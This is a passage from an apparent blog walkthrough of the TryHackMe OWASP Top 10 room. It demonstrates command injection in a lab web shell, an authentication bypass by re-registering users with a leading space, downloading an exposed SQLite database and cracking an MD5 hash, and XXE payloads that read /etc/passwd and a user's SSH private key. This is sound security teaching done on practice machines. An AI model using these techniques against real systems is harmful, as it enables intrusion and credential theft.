            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <dc:creator><![CDATA[Christopher Fouad Jabbour]]></dc:creator>
            <pubDate>Thu, 30 Mar 2023 20:12:26 GMT</pubDate>
            <atom:updated>2024-01-12T21:47:37.030Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DcxMmhlPuHo90cLApDN9zw.png" /><figcaption>Hero image of OWASP</figcaption></figure><p>This room acts as an introduction to the Open Web Application Security Project or OWASP’s top ten critical web security vulnerabilities for 2020. This room is currently part of the Complete Beginner’s path on TryHackMe. The room’s material is free (doesnt require a subscription to TryHackMe’s platform) to view and go through in this <a href="https://tryhackme.com/room/owasptop10">link</a>.</p><p>In this writeup, I go through how I used my Linux VM or AttackBox provided by the TryHackMe platform to simulate an attacker machine with access to vulnerable virtual machines which will have a specific OWASP vulnerability. I will walk through a specific example of how to exploit each vulnerability and how I answered the hands-on questions for the required tasks.</p><h3>Tasks 1–4</h3><p>(No answers needed, just need to click the Completed button to confirm the task is done)</p><p>Task 1: Introduction on each OWASP topic of all 10 web application security vulnerabilities.</p><ul><li>Injection</li><li>Broken Authentication</li><li>Sensitive Data Exposure</li><li>XML External Entity</li><li>Broken Access Control</li><li>Security Misconfiguration</li><li>Cross-site Scripting</li><li><strong>I</strong>nsecure Deserialization</li><li>Components with Known Vulnerabilities</li><li>Insufficient Logging &amp; Monitoring</li></ul><h3>Task 3–5 : [Severity 1] Injection</h3><p>The Injection vulnerability is the risk that user input can is interpreted to do any of the following actions:</p><ul><li>Access, Modify and Delete information in a database when this input is passed into database queries. This would mean that an attacker can steal sensitive information such as personal details and credentials.</li><li>Execute Arbitrary system commands on a server that would allow an attacker to gain access to users’ systems. This would enable them to steal sensitive data and carry out more attacks against infrastructure linked to the server on which the command is executed.</li></ul><h3>Task 5: Command Injection Practical</h3><p>This task tasks us through a specific type of Injection attack known as an Active Command Injection, as described below:</p><blockquote>Active command injection will return the response to the user. It can be made visible through several HTML elements.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZgub4Rpow8z2BrksmaHmw.png" /><figcaption>Screenshot of where to start the vulnerable machine for Task 5</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lpJJocbNfubOjw_Zzrabuw.png" /><figcaption>Screenshot of task 5 vulnerable virtual machine information after being launched.</figcaption></figure><p>For this task, we are given the following scenario:</p><blockquote>EvilCorp has started development on a web based shell but has accidentally left it exposed to the Internet. It’s nowhere near finished but contains the same command injection vulnerability as before! But this time, the response from the system call can be seen on the page! They’ll never learn!</blockquote><p>Sample code syntax of the web-based shell is below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/0*DKLGGoq6pdZOhwnU.png" /><figcaption><strong>EvilShell (evilshell.php) code example</strong></figcaption></figure><p>The task information lays out what the code does in pseudecode:</p><blockquote>1. Checking if the parameter “commandString” is set</blockquote><blockquote>2. If it is, then the variable $command_string gets what was passed into the input field</blockquote><blockquote>3. The program then goes into a try block to execute the function passthru($command_string). You can read the docs on passthru() on <a href="https://www.php.net/manual/en/function.passthru.php">PHP&#39;s website</a>, but in general, it is executing what gets entered into the input then passing the output directly back to the browser.</blockquote><blockquote>4. If the try does not succeed, output the error to page. Generally this won’t output anything because you can’t output stderr but PHP doesn’t let you have a try without a catch.</blockquote><p>In the above code, the passthru() function executes what we pass in as input, the $command_string variable being set to what the parameter “commandString” is set and it returns the output as a html paragraph element. It is important to keep in mind that the function call to passthru() may not always be what is happening behind the scenes, it is just to demonstrate an instance of the injection vulnerability.</p><p>we are given the following list of commands to try grouped under their respective operating system.</p><p><strong>Linux (and Unix-like OS’s)</strong></p><ul><li>whoami</li><li>id</li><li>ifconfig/ip addr</li><li>uname -a</li><li>ps -ef</li></ul><p><strong>Windows</strong></p><ul><li>whoami</li><li>ver</li><li>ipconfig</li><li>tasklist</li><li>netstat -an</li></ul><p>To complete the questions for this task, I navigated to the following address of http://10.10.183.19/evilshell.php<em>.</em></p><p>I copied and pasted the link above to the vulnerable machine with the endpoint of the evilshell.php file and arrived at following page below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UYAfU83Ju7D6DmnhULzz-A.png" /><figcaption>Result Screenshot of the evilshell PHP script home page</figcaption></figure><p>Once on this page, I proceeded to see what OS system commands to try to send and see what the outcome is.</p><p>To begin my investigation, I entered the command <em>whoami</em>, into the text field and hit submit. <em>whoami </em>is a command used by both Windows and Linux (and Unix-like) OSes, this command will print the effective username of the current user on a system when invoked.</p><p>I received a response and output below the submit button within the evilshell.php form web page telling me who the current user of the system is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ftRI9B6uur3OCoOjZ5i6lA.png" /><figcaption>Screenshot of output returned from submitting the command whoami</figcaption></figure><p>I was not familiar with what and who user www-data is and if it a default username or a created one. Thus, I began my research by searching for specifics on www-data. I found in one <a href="https://askubuntu.com/questions/873839/what-is-the-www-data-user">post</a> on the askUbuntu forum site that www-data is the user that web servers on Ubuntu (Apache, nginx, etc.) used by default for normal operation. This gives me more context on if the user the app on the Linux system is running is expected.</p><p>To figure out the OS, I investigated and used <em>uname,</em> this command outputs information about the system where the command is executed in.</p><p>The -a option used with the <em>uname </em>command will print system information in the following order: <em>Kernel name</em>, <em>network node hostname</em>, <em>kernel release date</em>, <em>kernel version</em>, <em>machine hardware name</em>, <em>hardware platform</em>,<strong> <em>operating system</em></strong></p><p>I passed the command <em>uname -a </em>as input into the text field and clicked submit. Afterwards, I got a response returned that told me the kernel release date and the version of the current kernel. This told me that the OS of the machine is Linux Ubuntu. I couldn&#39;t find out what version of Ubuntu Linux is running, only the kernel release date and went on to do additional research on how to check the Linux OS Version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mmhkSd-kmpqh0EQP5mcElA.png" /><figcaption><em>screenshot of the response output of submitting the uname -a command</em></figcaption></figure><p>Within this <a href="https://www.howtogeek.com/691214/how-to-check-the-linux-kernel-and-operating-system-version/">HowToGeek article</a>, I learned about another command known as<em> lsb_release, </em>which displays Linux Standard Base and distribution-specific information<em>. </em>I found out this command that is already installed on the Linux Ubuntu and Manjaro distros. the -a or All option for the command <em>lsb_release </em>allows for all the information about the Linux distribution to be shown.</p><p>I inputted and submitted the<em> lsb_release -a</em> command as input into the shell form php page and got the following output response on the shell form page.</p><blockquote>Distributor ID: Ubuntu Description: Ubuntu 18.04.4 LTS Release: 18.04 Codename: bionic</blockquote><p>This told me what version of Ubuntu is running to be able to answer the question for the task</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C0hlWCd6FqANJ_x1hLDGWg.png" /><figcaption>Screenshot of the response output returned on the php shell when the command <em>lsb_release -a is </em>submitted.</figcaption></figure><p>I did external research to find out how to list all the users of the system, root and non-root users included and found that the users that are locally stored in the system are in the /etc/passwd file. This <a href="https://linuxhandbook.com/linux-list-users/">article</a> based on how to list users from the command line helped me out.</p><p>I inputted and submitted the following command below:</p><blockquote><strong>cat /etc/passwd</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kGx0AX6fZrrydohc4ulcBQ.png" /><figcaption>Page source of evilshell.php page with response after submitting cat /etc/passwd</figcaption></figure><p>I got back a total of 29 listed users, including the root user, listed from the response included listed within the /etc/passwd file. Taking in the information took some external research to understand this outputted info and be able to distinguish between daemon and service users.</p><p>I would come to learn that there are distinct types of users in a Linux system, ones that can log in and the ones that don’t . The users that cannot log in are called or have no login privileges are known as pseudo-users.</p><p>the various fields in one line of /etc/passwd are as follows:</p><blockquote>LoginName:Password:UserID:GroupID:RealName(GECOS):HomeDirectory:Shell</blockquote><blockquote>root:x:0:0:root:/root:/bin/bash</blockquote><p>I noticed most of the user’s default login shell field were /usr/sbin/nologin or /bin/false. The nologin at the end of a line meant that the user who had it cannot login to the system. While the <em>/bin/false</em> meant does nothing but return a failure code as I would find in this <a href="https://www.baeldung.com/linux/bin-true-bin-false-commands#:~:text=If%20we%20look%20at%20the%20two%20commands%E2%80%99%20man,nothing%2C%20successfully%E2%80%9D%202%20%2Fbin%2Ffalse%20%E2%80%93%20%E2%80%9Cdo%20nothing%2C%20unsuccessfully%E2%80%9D">article</a>.</p><p>This told me that only the root user was able to log in and the other users were pseudo-users comprising of service and daemon users. This allowed me to answer the question of how many non-root, non-service, and non-daemon users were on this system.</p><p>Next, I attempted to use the <em>id </em>command to see if I can get information on the current user and to check for security context in terms of user access privilege. This command outputs the following:</p><ul><li>User Name</li><li>UID or User ID</li><li>Group ID</li><li>Group Name</li><li>I passed and submitted the <em>id </em>command in the evilshell.php form and received the following ids, showing that the current user is their own self-titled group and id 33, which is also a pseudo-user.</li></ul><p>uid=33(www-data) gid=33(www-data) groups=33(www-data)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rWz2uCXcj-Fxe9l1MbpdCw.png" /></figure><p>Referring to the screenshot and output of the <em>cat /etc/passwd</em> command, I was able to figure out what this user’s login shell is set to as well.</p><p>Knowing that, I proceeded to attempt to use Linux pipe command to go to the root directory and list out all files in the root directory to see what I can find. I would find an unusual text file that is referencing a popular type of soda needed to answer one of the questions for this task. I inputted and used the following command:</p><blockquote>cd / | ls -a</blockquote><ul><li>cd : command that changes the shells current working directory to directory path parameter passed after this command.</li><li>/ : the location of the root directory on the system</li><li>| : Linux pipe symbol to combine Linux commands together to be executed in sequential order from the first to last command.</li><li>ls : list out all files in the current working directory</li><li>-a : option or flag to include hidden files in the output of a ls command</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CN4-6uzEQqMU4xWMMiz34g.png" /><figcaption>Result screenshot of the output of the command used to find what is in the vulnerable machine root directory</figcaption></figure><p>I proceeded to do research on where Ubuntu Linux stores its MOTD or Message Of The Day banner that displays messages when a user successfully logs in to a Linux system. I found out that Ubuntu places login messages in the <em>/etc/update-motd.d</em> directory.</p><p>I ran a Linux pipe command to change into the update-motd.d location and to list all the files found in this directory and found a text file among web app program related files and directories ( JS, CSS, PHP) as screenshotted below,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Bng0Q1I85XFYxzCN8pVXA.png" /><figcaption>Screenshot of going to update-motd.d directory and listing present files</figcaption></figure><p>I then used the following Linux pipe command,</p><blockquote>cd /etc/update-motd.d | cat drpepper.txt</blockquote><p>to change into the /<em>update-motd.d </em>directory location and print the output of this file to get the answer for what the favorite beverage is in the MOTD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*paK1b14VoSZSNo4p0_XT4Q.png" /><figcaption>Screenshot of response returned to output the content of the text file in the update-motd directory</figcaption></figure><h3><strong>Task 5 references</strong></h3><p><a href="https://askubuntu.com/questions/873839/what-is-the-www-data-user">What is the www-data user?</a></p><p><a href="https://www.howtogeek.com/691214/how-to-check-the-linux-kernel-and-operating-system-version/">How to Check the Linux Kernel and Operating System Version (howtogeek.com)</a></p><p><a href="https://linuxhandbook.com/linux-list-users/">How to List Users in Linux Command Line [3 Simple Ways] (linuxhandbook.com)</a></p><h3>Task 6 and Task 7: [Severity 2] Broken Authentication</h3><p>Task 6 gives an overview of possible flaws for authentication mechanisms that can lead to “Broken Authentication” and mitigations for these flaws to prevent them. I read the overview within Task 6 and clicked the completed button to confirm and move on to the next task.</p><p>Task 7 looks at an example where the vulnerable machine for this task has a logic flaw within its authentication mechanism that can happen which in this case is the re-registration of an existing user when an application doesn&#39;t sanitize input values given by the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*i9dM8dMNqSNws7Y7otwgng.png" /></figure><p>I start up the vulnerable machine and proceeded to follow through the hands-on section,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*R6MUvieetuuN-l2yk564mw.png" /></figure><p>The scenario of the task 7 practical example is as follows:</p><blockquote>Say there is an existing user with the name <strong>admin</strong> and now we want to get access to their account so what we can do is try to re-register that username but with slight modification. We are going to enter “ admin”(notice the space in the starting). Now when you enter that in the username field and enter other required information like email id or password and submit that data. It will actually register a new user but that user will have the same right as normal admin. That new user will also be able to see all the content presented under the user <strong>admin</strong>.</blockquote><p>To see this and apply this hands on, I will be attempting to login in as the user <strong>darren</strong> and then the user <strong>arthur.</strong></p><p>I proceed to go to <a href="http://10.10.70.186:8888/">http://10.10.70.186:<strong>8888</strong></a><strong> (</strong>10.10.70.186 is the IP address of the vulnerable machine in my case). I am greeted by the home page below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*WhFHWtyKl5D8Pp4MX6ytNw.png" /></figure><p>I proceed to go to the register page of the web app and try to register as darren.</p><p>I attempt to register under the username <strong>darren </strong>(no whitespace) and get redirected to a page telling me that the user already exists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*Wc0GHTXWMKFb7TAHZLSqrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*5Vu22D1jK6K9sym-AJCoIA.png" /></figure><p>I attempt again to register instead as darren but with an empty space (i.e. “ darren”) at the beginning of the username to test for user sanitation by entering the following username and a dummy email and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*eU3C0DZWDImKiJtc6n4GUg.png" /></figure><p>After I hit submit and the registration completed successfully, I proceeded to sign in prompt located in the top right navbar icon and entered the credentials I created for “ darren” and password for that account and clicked entered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*P3n71JpPqn8InpbYv9Zqvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*zpm82V5MVsCcX6lZym6FPg.png" /></figure><p>I logged out of the darren account and proceeded to try to register and login the same way with the username <strong>arthur.</strong> I found out the user is already registered in a similar fashion to the account username <strong>darren</strong>.</p><p>I then tried to register an account with the username <strong>arthur</strong> (“ arthur” with an empty space at the beginning of the username input value) and dummy email and password. The registration was a success and I proceeded to try in with the credentials of the new account I created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*RVVTCMBswRsBMTDZTFBvfQ.png" /></figure><p>After being redirected to the home page after the successful registration. I attempted to login to the <strong>arthur</strong> account with the credentials I created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*USCn3yvFLKiQKbkFWJvvGw.png" /></figure><p>I was able to log in as <strong>arthur</strong> and get the flag I needed to complete this task and demonstrate the broken authentication mechanism. I proceeded to log out as <strong>arthur</strong> to proceed to the next task and OWASP vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*k3DTR6UIrvPXyPdc5g9rZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*PMevllnQWKS5mEGlSzIQqw.png" /></figure><h3>Tasks 8–11 : [Severity 3] Sensitive Data Exposure</h3><p>Task 8 gives an introduction on the third vulnerability of the OWASP top ten, Sensitive Data Exposure. The important takeaway for me is why sensitive data important and what it is as explained below in the task:</p><blockquote>…often data directly linked to customers (e.g. names, dates-of-birth, financial information, etc.), but could also be more technical information, such as usernames and passwords.</blockquote><p>It is important as it is the promise from the owners of the software and IT assets managing it that all data is protected from all sources of exposure, even some country laws demand it from companies and organizations as the task material below covers:</p><blockquote>This sensitive data requires extra protection, particularly if that data falls under privacy laws, e.g. EU’s General Data Protection Regulation (GDPR), or regulations, e.g. financial data protection such as PCI Data Security Standard (PCI DSS).</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*R2VG7SbGDlmO2DqQqTzr6w.png" /></figure><p>I proceeded to read the introduction above, take notes, and deploy the virtual machine containing an example of Sensitive Data Exposure within this task as screenshotted below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*6LGkT_2OFb2wpz11WsRvkQ.png" /></figure><p>Task 9 goes over supporting material and details about how handling and storage of sensitive data used by websites that get and modify data from an SQLite flat-file database.</p><blockquote>The most common (and simplest) format of flat-file database is an SQLite database. These can be interacted with in most programming languages, and have a dedicated client for querying them on the command line. This client is called “<em>sqlite3</em>”, and is installed by default on Kali.</blockquote><p>What can happen is if a database file is stored within the root directories of the website that a user can connect to navigate to, that said user can download the file and query the database on their own computer or machine having full access to the database; hence leading to one example of sensitive data exposure.</p><p>Below are example screenshots laid out in task 9 showing the steps taken to query an SQLite database for sensitive data after a database is successfully downloaded:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/0*7xy7SfiZF9NPEAnT.png" /></figure><blockquote>We can see that there is an SQlite database in the current folder.</blockquote><blockquote>To access it we use: sqlite3 &lt;database-name&gt;:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/0*8Hc3oKNuQNzYIDNy.png" /></figure><blockquote>From here we can see the tables in the database by using the .tables command:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/0*hIE8IZuAcNIEOXBF.png" /></figure><blockquote>At this point we can dump all of the data from the table, but we won’t necessarily know what each column means unless we look at the table information. First let’s use PRAGMA table_info(customers); to see the table information, then we&#39;ll use SELECT * FROM customers; to dump the information from the table:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/0*VHJaNNi7VFlcnnUO.png" /></figure><blockquote>We can see from the table information that there are four columns: custID, custName, creditCard and password. You may notice that this matches up with the results. Take the first row:</blockquote><p>0|Joy Paulson|4916 9012 2231 7905|5f4dcc3b5aa765d61d8327deb882cf99</p><blockquote>We have the custID (0), the custName (Joy Paulson), the creditCard (4916 9012 2231 7905) and a password hash (5f4dcc3b5aa765d61d8327deb882cf99).</blockquote><p>Task 10 looks at how we can crack or figure out a user’s password and the possible steps we can take. We just need to read the material and click the complete button to confirm we read and understand the support material.</p><p>The steps cover how to use one online tool, known as <a href="https://crackstation.net/">Crackstation</a>, to figure out a weak password hash, particularly weak MD5 hashes. I learned that Crackstation attempts to do this by using a massive wordlist to try to correctly figure out the password. A password not in the wordlist will mean the hash cannot be broken. More complicated hashes would need more sophisticated tools.</p><p>Task 11: [Severity 3] Sensitive Data Exposure (Challenge)</p><p>Task 11 is taking what we have learned from the introduction and supporting material of the previous 3 tasks. I proceeded to launch my Linux Attackbox VM to look at the webapp via the IP address of the machine we started on task 8.</p><p>The only thing at this point I can assume is this disclosed fact for the challenge below:</p><blockquote>The developer has left themselves a note indicating that there is sensitive data in a specific directory.</blockquote><p>This told me that the developer must have left some sort of comment in the HTML markup in one of the web app’s pages that will tell the location of sensitive data within the web app itself.</p><p>I typed the IP address on my browser and was directed to the web app’s home page.</p><p>I proceeded to right click and select the option View Page Source to look at the HTML page source markup to see if I can find any leads on this directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*UG75LHQmdFumDcb-V5sN7w.png" /></figure><p>When looking at the HTML source code for the home page, I didn’t find any comments or information on the location of sensitive files on this app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*3T02zwfCInaFfp2Ou873kg.png" /></figure><p>I proceeded to navigate to the login page to view its page source to see if I could find any leads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*EFwR1SEdXHL1Y2d1Pd52mw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*hdhhvzFJYdQSn8px_nhbLA.png" /><figcaption>Screenshot of the login page HTML markup and a comment telling the location of mentioned directory where the DB is stored</figcaption></figure><p>Within the /login page source HTML markup, I found the unusual HTML comment noting that the database is located within an accessible endpoint and directory</p><p>When I try to navigate to the endpoint and directory of the IP Address, I see a list of directories and the database file as mentioned in the login page html source to be able to answer the next question for this task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*w_3t4Q3qlckEBLotITYUGg.png" /></figure><p>I proceeded to click the hyperlink on the database file and download the .db file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*hXw9Yd1ZzAwVVv5QuTDvhA.png" /></figure><p>Using what I learned from a previous task on how to use an SQLite client by command line to attempt to extract and access the sensitive data.</p><p>I opened my Linux terminal on my Attackbox VM and navigated to the directory where the database file was downloaded and located, which in my case is the root directory or ~.</p><p>I ran the command sqlite3 and provided name of the database file</p><blockquote>sqlite3 &lt;database-file-name&gt;</blockquote><p>This starts a sqlite3 interactive session in which to send queries against the database and receive the results of the queries I send during the interactive session.</p><p>Once I have executed the above command for the database file extracted, I began by entering the <em>.help</em> command to familiarize myself with the syntax of the sqlite3 interactive client program.</p><p>I then entered the following command <em>.tables </em>to see all the database tables currently in the .db file and found two tables, sessions and users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*baQCSuZL-6Un8henIe8c9g.png" /></figure><p>The <strong>users </strong>table is where I would begin my search for any sensitive data that can be found and leveraged.</p><p>Next step is to figure out the table information and what columns are in the <strong>users </strong>table, I entered the query <em>PRAGMA table_info(users); </em>to dump the information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*VJtYtdLTe7cTWX3jM4AcGA.png" /></figure><p>The users table has 4 columns in the following order: userID , username, password, admin. This tells me there is potential for finding sensitive data in the username and password column as well as the possibility of finding an admin user as well.</p><p>I ran the query <em>SELECT * FROM users;</em> to get retrieve all rows with every column value of the users table stored in this database file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*SNzkdjEkRq7z19PYKEwmHw.png" /></figure><p>Three users and their corresponding user-related login information were returned, including their password hashes.</p><p>Knowing the username and password hash of a user, I can attempt to compromise the admin user and figure out their actual cleartext password. I proceeded to go to the <a href="https://crackstation.net/">CrackStation</a> tool on my Firefox browser to attempt to crack the password hash on the admin user.</p><p>I copied and pasted the password hash into the left text field box and clicked the <strong>Crack Hashes</strong> button on the right to begin the password hash crack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*QFTQ48hYuAM6FgZsS0ahmQ.png" /></figure><p>The result of the hash crack resulted in a green color code for an exact match while showing the type of encryption used on the password, MD5, and the cleartext password under the Result column, revealing the password of the admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*Lz31uYRpqm234yp_NHfZvA.png" /></figure><p>With the admin username and password known, I proceeded to the Sensitive Data Exposure example vulnerable machine IP address and went to the login page link to try to login as admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*oZe9SqlCK_GKSrcmCWHijQ.png" /></figure><p>I was able to login as the admin and acquire the flag needed to answer the last question for task 11. I terminated the sensitive data example VM to move on to the next task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*Sna59isQDjpFrdD1ugnXnw.png" /></figure><h3>Tasks 12–16: [Severity 4] XML External Entity</h3><p>An XML External Entity (XXE) Attack is a vulnerability that abuses the features of XML parsers or its data. It has the potential to do the following:</p><ul><li>Let an attacker interact with any backend or external systems that an application can access and read the files on those systems</li><li>Can cause Denial of Service (DoS) attack or to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications.</li><li>May even enable port scanning and lead to remote code execution.</li></ul><p>There are two types of XXE attacks: in-band and out-of-band (OOB-XXE)<br>1) An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.</p><p>2) out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.</p><p>I proceeded to start the VM with the XXE vulnerability and went through the background information on XXE attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*xd5dJr1NEljpN3SY0xuCOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*DzAqffd1cp6grPIyUza9HQ.png" /></figure><p>Task 13 gives us a brief overview of what XML so that we can understand what it is, why it is used, and its syntax. I proceeded to read through the material at my own pace and answer the task question</p><h3>Task 13 Questions</h3><p>Full form of XML?</p><blockquote>Extensible Markup Language</blockquote><p>Is it compulsory to have XML prolog in XML documents?</p><blockquote>No</blockquote><p>Can we validate XML documents against a schema?</p><blockquote>Yes</blockquote><p>How can we specify XML version and encoding in XML document?</p><blockquote>XML Prolog</blockquote><h3>Task 14 XML External Entity — DTD</h3><p>Task 14 focuses on giving an overview of what DTD or Document Type Definition is. I took my time understanding this section. The takeaway I got is DTD validates the information of an XML document to ensure the XML file conforms to the rules laid out by that DTD.</p><p>Below is an example used in the task to demonstrate how DTD is using <strong>note.dtd.</strong></p><p><strong>Content within </strong><strong>note.dtd file</strong></p><blockquote>&lt;!DOCTYPE note [ &lt;!ELEMENT note (to,from,heading,body)&gt; &lt;!ELEMENT to (#PCDATA)&gt; &lt;!ELEMENT from (#PCDATA)&gt; &lt;!ELEMENT heading (#PCDATA)&gt; &lt;!ELEMENT body (#PCDATA)&gt; ]&gt;</blockquote><p><strong>terms used in </strong><strong>note.dtd with examples</strong></p><ul><li>!DOCTYPE note — Defines a root element of the document named <strong>note</strong></li><li>!ELEMENT note — Defines that the note element must contain the elements: “to, from, heading, body”</li><li>!ELEMENT to — Defines the to element to be of type &quot;#PCDATA&quot;</li><li>!ELEMENT from — Defines the from element to be of type &quot;#PCDATA&quot;</li><li>!ELEMENT heading — Defines the heading element to be of type &quot;#PCDATA&quot;</li><li>!ELEMENT body — Defines the body element to be of type &quot;#PCDATA&quot;</li></ul><p><strong>NOTE</strong>: #PCDATA means parseable character data.</p><p><strong>An example XML document that uses </strong><strong>note.dtd</strong></p><blockquote>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;<br>&lt;!DOCTYPE note SYSTEM “note.dtd”&gt;<br>&lt;note&gt;<br> &lt;to&gt;falcon&lt;/to&gt;<br> &lt;from&gt;feast&lt;/from&gt;<br> &lt;heading&gt;hacking&lt;/heading&gt;<br> &lt;body&gt;XXE attack&lt;/body&gt;<br>&lt;/note&gt;</blockquote><h3>Task 14 Questions</h3><p>How do you define a new ELEMENT?</p><blockquote>!ELEMENT</blockquote><p>How do you define a ROOT element?</p><blockquote>!DOCTYPE</blockquote><p>How do you define a new ENTITY?</p><blockquote>!ENTITY</blockquote><h3>Task 15</h3><p>Task 15 walks through two example XXE payloads to show how it works by using the XXE-2 machine we started back in Task 12.</p><p>The first example payload</p><p><em>&lt;!DOCTYPE replace [&lt;!ENTITY name “Jabbour”&gt; ]&gt;<br> &lt;userInfo&gt;<br> &lt;firstName&gt;Chris&lt;/firstName&gt;<br> &lt;lastName&gt;&amp;name;&lt;/lastName&gt;<br> &lt;/userInfo&gt;</em></p><p>defines an <strong>ENTITY</strong> called <strong>name </strong>and assign it a value of <em>Jabbour</em></p><p>I navigated to the home page of the XXE active machine and entered the payload above in the XXE attack payload area textfield and clicked <strong>Submit Button </strong>on the form to see this payload in action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*STVfEKUE0wF00H3rjXOYtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*WNrmI3PSwr7oiGc_u2OLUg.png" /></figure><p>The result was as expected as described in the task and the lastName element in the sent XML payload is being set the variable of Jabbour that I defined the entity name.</p><p>I did some external research out of curiosity to learn more about the use of the ampersand and its relationship to XML syntax. I learned within this <a href="https://www.techrepublic.com/article/beware-of-the-ampersand-when-using-xml/#:~:text=The%20ampersand%20is%20a%20very%20common%20character%20in,be%20parsed%20into%20some%20other%20piece%20of%20data.">article</a> and <a href="https://www.w3.org/TR/xml/#dt-charref">W3 documentation on XML</a> (within the section about Entity References) that the ampersand has a unique use in XML.</p><p>The ampersand tells the XML parser what comes after the &amp; symbol needs to be parsed into a character or entity reference. In our case, name is an entity reference which will refer to the content (or value assigned) of the entity named name, which is Jabbour as defined in the XML payload.</p><p>The next payload involves using XXE to read a specific file from the system by defining an ENTITY called read and having it use the SYSTEM keyword and path of a file, in our case for an example, <em>/etc/passwd, </em>which would list all users within this Linux system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*AOifsoGLzv5MeUFxVKDomA.png" /><figcaption>Screenshot of payload</figcaption></figure><p>I proceeded to test the above payload and was able to read a list of all users on the system. I was able to find a user besides root named falcon in the file that allowed me to answer one of the questions for this task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*u5i3rdgR18BU8u_skhKMNQ.png" /></figure><p>With the knowledge of the non-root user in the system, I proceeded to see if I can read or get the user’s SSH private key file by paying the following payload below with the location of the file at <em>/home/falcon/.ssh/id_rsa</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9JE_VlQWXn1Kthx6qIG0Yg.png" /></figure><p>Once I clicked the submit button, I was able to see the entire content of the private key being returned on the payload submit form, I proceeded to view the html source of the whole page to get a more concise vieview ofe key. With this, I was able to figure out the first 18 characters for falcon’s private key to answer the question for this task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XINxbBn44q0iKT5YI4a6Kw.png" /></figure><h3>Task 17–18: [Severity 5] Broken Access Control</h3><p>Task 17 gives an overview of the fifth web app vulnerability, Broken Access Control. The gist of this vulnerability is if a user can access or view a protected page or pages of a web app that the user is not supposed to see or access, we have Broken Access Control. I proceeded to read through task 17 and click the completed button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*65vs0iRcYHNwO4rbfd5iEg.png" /></figure><p>Task 18 gives an overview of a type of access control vulnerability known as Insecure Direct Object Reference, or IDOR for short. I started the machine with this vulnerability and proceeded to read the overview on what IDOR is explained and an example scenario of how it can occur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*af_ACg9lL8ncq4WV4R_seg.png" /></figure><p>Once the machine started, 